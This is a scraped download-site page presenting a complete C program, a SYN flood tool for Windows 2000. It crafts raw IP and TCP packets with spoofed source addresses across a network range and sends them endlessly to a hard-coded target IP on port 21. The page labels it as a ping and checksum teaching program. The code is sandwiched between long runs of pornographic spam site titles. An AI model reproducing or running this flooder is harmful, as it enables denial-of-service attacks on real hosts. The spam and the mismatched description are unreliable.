亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關于我們
? 蟲蟲下載站

?? 1.cpp

?? PING程序設計原理 IP校驗和的計算 一個LINUX環境下的程序 但是是c的程序文件 需要轉換一下
?? CPP
字號:
//////////////////////////////////////////////////////////////////////////
//                                               //
// SYN Flooder For Win2K by Shotgun                         //
//                                               //
// THIS PROGRAM IS MODIFIED FROM A LINUX VERSION BY Zakath         //
// THANX Lion Hook FOR PROGRAM OPTIMIZATION                   //
//                                               //
// Released: [2001.4]                                 //
// Author: [Shotgun]                               //
// Homepage:                                       //
//   [http://IT.Xici.Net]                         //
//   [http://WWW.Patching.Net]                     //
//                                               //
//////////////////////////////////////////////////////////////////////////
#include <winsock2.h> 
#include <Ws2tcpip.h> 
#include <stdio.h>
#include <stdlib.h>
#define SEQ 0x28376839
#define SYN_DEST_IP "222.28.142.232"//被攻擊的IP
#define FAKE_IP "10.0.0.1" //偽裝IP的起始值,本程序的偽裝IP覆蓋一個B類網段
#define STATUS_FAILED 0xFFFF //錯誤返回值
typedef struct _iphdr   //定義IP首部
{
	unsigned char h_verlen;   //4位首部長度,4位IP版本號
	unsigned char tos;   //8位服務類型TOS
	unsigned short total_len; //16位總長度(字節)
	unsigned short ident;   //16位標識
	unsigned short frag_and_flags; //3位標志位和13位偏移位。
	unsigned char ttl;   //8位生存時間 TTL
	unsigned char proto;   //8位協議 (TCP, UDP 或其他)
	unsigned short checksum; //16位IP首部校驗和
	unsigned int sourceIP;   //32位源IP地址
	unsigned int destIP;   //32位目的IP地址
}IP_HEADER;
struct     //定義TCP偽首部
{
	unsigned long saddr; //源地址
	unsigned long daddr; //目的地址
	char mbz;
	char ptcl;   //協議類型
	unsigned short tcpl; //TCP長度
}psd_header;
typedef struct _tcphdr   //定義TCP首部
{
	USHORT th_sport;   //16位源端口
	USHORT th_dport;   //16位目的端口
	unsigned int th_seq;   //32位序列號
	unsigned int th_ack;   //32位確認號
	unsigned char th_lenres; //4位首部長度+6位保留字中的前4位
	unsigned char th_flag;   //6位保留字中的后2位+6位標志位
	USHORT th_win;   //16位窗口大小
	USHORT th_sum;   //16位校驗和
	USHORT th_urp;   //16位緊急數據偏移量
}TCP_HEADER;
//CheckSum:計算校驗和的子函數
USHORT checksum(USHORT *buffer, int size) 
{ 
	unsigned long cksum=0;
	while(size >1)
	{
		cksum+=*buffer++;
		size -=sizeof(USHORT);
	}
	if(size )
	{
		cksum += *(UCHAR*)buffer;
	}
	cksum = (cksum >> 16) + (cksum & 0xffff);
	cksum += (cksum >>16);
	return (USHORT)(~cksum);
}
// SynFlood主函數
int main()
{
	int datasize,ErrorCode,counter,flag,FakeIpNet,FakeIpHost;
	int TimeOut=2000,SendSEQ=0;
	char SendBuf[128]={0};
	char RecvBuf[65535]={0};
	WSADATA wsaData;
	SOCKET SockRaw=(SOCKET)NULL;
	struct sockaddr_in DestAddr;
	IP_HEADER ip_header;
	TCP_HEADER tcp_header;
	//初始化SOCK_RAW
	if((ErrorCode=WSAStartup(MAKEWORD(2,1),&wsaData))!=0)
	{
		fprintf(stderr,"WSAStartup failed: %d\n",ErrorCode);
		ExitProcess(STATUS_FAILED);
	}
	SockRaw=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED);
	if (SockRaw==INVALID_SOCKET)
	{
		fprintf(stderr,"WSASocket() failed: %d\n",WSAGetLastError());
		ExitProcess(STATUS_FAILED);
	}
	flag=TRUE;
	//設置IP_HDRINCL以自己填充IP首部
	//setsockopt函數其實在IP層也可以設置一些選項,define  IP_HDRINCL	2  /*header is included with data */
	//在文件WS2TCPIP.H中定義了一些可供設置的選項 
	ErrorCode=setsockopt(SockRaw,IPPROTO_IP,IP_HDRINCL,(char *)&flag,sizeof(int));
	if (ErrorCode==SOCKET_ERROR)
		printf("Set IP_HDRINCL Error!\n");
	__try	
	{
		//設置發送超時
		ErrorCode=setsockopt(SockRaw,SOL_SOCKET,SO_SNDTIMEO,(char*)&TimeOut,sizeof(TimeOut));
		if(ErrorCode==SOCKET_ERROR)
		{
			fprintf(stderr,"Failed to set send TimeOut: %d\n",WSAGetLastError());
			 __leave;
		}
		memset(&DestAddr,0,sizeof(DestAddr));
		DestAddr.sin_family=AF_INET;
		DestAddr.sin_addr.s_addr=inet_addr(SYN_DEST_IP);
		FakeIpNet=inet_addr(FAKE_IP);
		FakeIpHost=ntohl(FakeIpNet);
		//填充IP首部
		ip_header.h_verlen=(4<<4 | sizeof(ip_header)/sizeof(unsigned long));
		//高四位IP版本號,低四位首部長度
		ip_header.total_len=htons(sizeof(IP_HEADER)+sizeof(TCP_HEADER)); //16位總長度(字節)
		ip_header.ident=1;         //16位標識
		ip_header.frag_and_flags=0;         //3位標志位
		ip_header.ttl=128;         //8位生存時間TTL
		ip_header.proto=IPPROTO_TCP;       //8位協議(TCP,UDP…)
		ip_header.checksum=0;         //16位IP首部校驗和
		ip_header.sourceIP=htonl(FakeIpHost+SendSEQ);     //32位源IP地址
		ip_header.destIP=inet_addr(SYN_DEST_IP);     //32位目的IP地址
		//填充TCP首部
		tcp_header.th_sport=htons(7000);       //源端口號
		tcp_header.th_dport=htons(21);       //目的端口號
		tcp_header.th_seq=htonl(SEQ+SendSEQ);       //SYN序列號
		tcp_header.th_ack=0;         //確認號置為0
		//首部長度以4B為單位,所以除以4,4位首部長度和6位保留位中的前4位共占8位,
		//要對前4位賦值,所以要左移4位
		tcp_header.th_lenres=(sizeof(TCP_HEADER)/4<<4|0);     //TCP長度和保留位,
		tcp_header.th_flag=2;         //SYN 標志,二進制表示為00000010,所以取值為2
		tcp_header.th_win=htons(16384);       //窗口大小
		tcp_header.th_urp=0;         //16位緊急指針數據偏移
		tcp_header.th_sum=0;         //校驗和
		//填充TCP偽首部(用于計算校驗和,并不真正發送)
		psd_header.saddr=ip_header.sourceIP;                         //源地址
		psd_header.daddr=ip_header.destIP;                         //目的地址
		psd_header.mbz=0;
		psd_header.ptcl=IPPROTO_TCP;                             //協議類型
		//TCP偽首部中參與校驗的應該是TCP 的整體長度,而非首部長度,
		//但在發起一個SYN連接的時候,沒有實際的TCP數據,只有TCP首部,所以下面賦值為

		psd_header.tcpl=htons(sizeof(tcp_header));            //TCP首部長度
		while(1) 
		{
			//每發送10,240個報文輸出一個標示符
			printf(".");
			for(counter=0;counter<10240;counter++)
			{
				if(SendSEQ++==65536) SendSEQ=1;       //序列號循環
				//更改IP首部
				ip_header.checksum=0;       //16位IP首部校驗和
				//32位源IP地址,每次發送一個數據包時,IP地址都是不同的
				ip_header.sourceIP=htonl(FakeIpHost+SendSEQ);   
				//更改TCP首部
				tcp_header.th_seq=htonl(SEQ+SendSEQ);     //SYN序列號
				tcp_header.th_sum=0;       //校驗和
				 //更改TCP Pseudo Header
				 psd_header.saddr=ip_header.sourceIP;   
				 //計算TCP校驗和,計算校驗和時需要包括TCP pseudo header   
				 memcpy(SendBuf,&psd_header,sizeof(psd_header)); 
				 memcpy(SendBuf+sizeof(psd_header),&tcp_header,sizeof(tcp_header));
				tcp_header.th_sum=checksum((USHORT *)SendBuf,sizeof(psd_header)+sizeof(tcp_header));
				//計算IP校驗和
				 memcpy(SendBuf,&ip_header,sizeof(ip_header));
				 memcpy(SendBuf+sizeof(ip_header),&tcp_header,sizeof(tcp_header));
				 memset(SendBuf+sizeof(ip_header)+sizeof(tcp_header),0,4);
				 datasize=sizeof(ip_header)+sizeof(tcp_header);
				 ip_header.checksum=checksum((USHORT *)SendBuf,datasize);
				 //填充發送緩沖區
				 memcpy(SendBuf,&ip_header,sizeof(ip_header));
				 //發送TCP報文
				ErrorCode=sendto(SockRaw,SendBuf,datasize, 0,(struct sockaddr*) &DestAddr,sizeof(DestAddr));
				if (ErrorCode==SOCKET_ERROR) printf("\nSend Error:%d\n",GetLastError());
			}//End of for
		}//End of While
	}//End of try
	__finally 
	{
		if (SockRaw != INVALID_SOCKET) closesocket(SockRaw);
		WSACleanup();
	}
	return 0;
}

?? 快捷鍵說明

復制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
日本道色综合久久| 日韩三级中文字幕| 在线成人高清不卡| 亚洲国产成人自拍| 免费观看在线综合色| 色久优优欧美色久优优| 国产亚洲一二三区| 美女诱惑一区二区| 在线观看日产精品| 亚洲少妇30p| 成人丝袜18视频在线观看| 日韩一区二区电影| 日韩精品电影一区亚洲| 色诱视频网站一区| 国产精品情趣视频| 国产一区二区三区日韩| 欧美一区二区精品| 日韩国产欧美在线视频| 欧美色精品天天在线观看视频| 国产精品久久久久久久久搜平片| 久久国产视频网| 欧美一区二区三区喷汁尤物| 午夜国产精品一区| 欧美亚洲动漫制服丝袜| 一区视频在线播放| 成人黄色电影在线| 国产精品麻豆久久久| 国产成人av一区二区| 国产欧美日产一区| 成人午夜精品一区二区三区| 久久久久久免费| 国产成人午夜高潮毛片| 国产亚洲精品久| 成人美女视频在线看| 国产精品国产自产拍高清av| 成人美女视频在线看| 国产精品久久99| 色综合视频在线观看| 一区二区三区四区视频精品免费| 一本色道综合亚洲| 亚洲午夜一区二区| 欧美一区二区三区的| 蜜桃久久久久久久| 久久久精品天堂| 99国产麻豆精品| 亚洲永久精品大片| 欧美一区二区三区在线观看| 狠狠狠色丁香婷婷综合激情| 国产人久久人人人人爽| 成人黄色777网| 亚洲午夜av在线| 日韩一级二级三级| 国产91精品免费| 艳妇臀荡乳欲伦亚洲一区| 欧美日韩亚洲综合| 久久99精品国产91久久来源| 久久久国产精品麻豆| 99久久精品国产精品久久| 亚洲午夜国产一区99re久久| 欧美成va人片在线观看| 成人国产电影网| 性做久久久久久| 国产三级久久久| 欧美色图一区二区三区| 激情文学综合网| 亚洲免费av网站| 欧美成人aa大片| 91久久精品一区二区| 捆绑变态av一区二区三区| 一区在线观看视频| 欧美白人最猛性xxxxx69交| 成人综合在线观看| 婷婷国产v国产偷v亚洲高清| 久久精品亚洲麻豆av一区二区| 色偷偷久久人人79超碰人人澡| 奇米色一区二区| 中文字幕一区不卡| 精品日本一线二线三线不卡| 色哟哟日韩精品| 国产精品香蕉一区二区三区| 亚洲高清免费观看| 亚洲欧洲色图综合| 久久精品综合网| 欧美一级精品在线| 欧美视频中文一区二区三区在线观看| 国产成人鲁色资源国产91色综 | 在线观看视频一区二区欧美日韩| 亚瑟在线精品视频| 国产精品久久久久久久久动漫| 日韩视频中午一区| 欧美无乱码久久久免费午夜一区| 国产成人亚洲综合a∨婷婷 | 亚洲国产日韩一级| 中文乱码免费一区二区| 日韩一级高清毛片| 在线播放中文字幕一区| 在线中文字幕一区| 972aa.com艺术欧美| 国产成人h网站| 国产麻豆精品久久一二三| 日韩二区三区四区| 午夜欧美一区二区三区在线播放| 亚洲欧美综合另类在线卡通| 国产日韩欧美a| 久久综合久色欧美综合狠狠| 91精品国产综合久久久久久 | av男人天堂一区| 黄色小说综合网站| 蜜臀精品久久久久久蜜臀| 日一区二区三区| 亚洲高清中文字幕| 三级欧美在线一区| 日韩精品免费专区| 日韩精品亚洲专区| 奇米四色…亚洲| 美女www一区二区| 激情文学综合丁香| 国产成人免费xxxxxxxx| av激情成人网| 一本大道久久a久久综合婷婷| 一道本成人在线| 91搞黄在线观看| 欧美日韩精品三区| 欧美一区二区视频在线观看 | 国产精品一区专区| 国产精品一区二区久激情瑜伽| 国产一区二区剧情av在线| 国内成+人亚洲+欧美+综合在线| 国产一区二区在线视频| 国产成人av影院| av高清久久久| 欧美日韩精品一区二区三区 | 91精品国产91久久综合桃花| 欧美一级夜夜爽| 久久精品日产第一区二区三区高清版| 欧美激情一区二区三区| 亚洲在线观看免费| 免费在线观看日韩欧美| 国产精品综合久久| 91丨porny丨户外露出| 欧美放荡的少妇| 国产免费久久精品| 亚洲国产一区二区三区青草影视| 免费成人美女在线观看.| 粉嫩在线一区二区三区视频| 一本到一区二区三区| 欧美成人性战久久| 亚洲人123区| 久久99精品久久久久久动态图| gogo大胆日本视频一区| 欧美高清性hdvideosex| 国产午夜亚洲精品羞羞网站| 亚洲精品视频在线看| 久久国产剧场电影| 99re成人在线| 日韩小视频在线观看专区| 中文幕一区二区三区久久蜜桃| 婷婷中文字幕一区三区| 国产成人av福利| 欧美一二区视频| 亚洲免费观看高清完整版在线| 久久99九九99精品| 欧美视频一二三区| 日本一区二区综合亚洲| 日韩国产成人精品| 91亚洲国产成人精品一区二三| 精品国产乱码久久久久久免费 | 国产精品成人一区二区三区夜夜夜| 一区二区三区免费网站| 国产精品自在在线| 欧美一级午夜免费电影| 亚洲激情av在线| 成人成人成人在线视频| 精品盗摄一区二区三区| 香蕉久久夜色精品国产使用方法| 成人黄色一级视频| 久久老女人爱爱| 精品一区二区三区的国产在线播放| 在线一区二区三区四区五区 | 久久精品综合网| 日韩1区2区3区| 欧美探花视频资源| 亚洲女子a中天字幕| 成人精品视频一区二区三区尤物| 亚洲精品一区二区三区四区高清| 亚州成人在线电影| 欧美天堂一区二区三区| 一区二区日韩av| 色婷婷精品大在线视频| 亚洲欧美在线视频| 成av人片一区二区| 国产日本欧美一区二区| 国产成人欧美日韩在线电影| 精品少妇一区二区三区在线视频| 日韩av中文字幕一区二区三区| 欧美三级视频在线观看| 亚洲电影一区二区| 91精品国产综合久久精品app | 欧美videofree性高清杂交| 婷婷久久综合九色国产成人|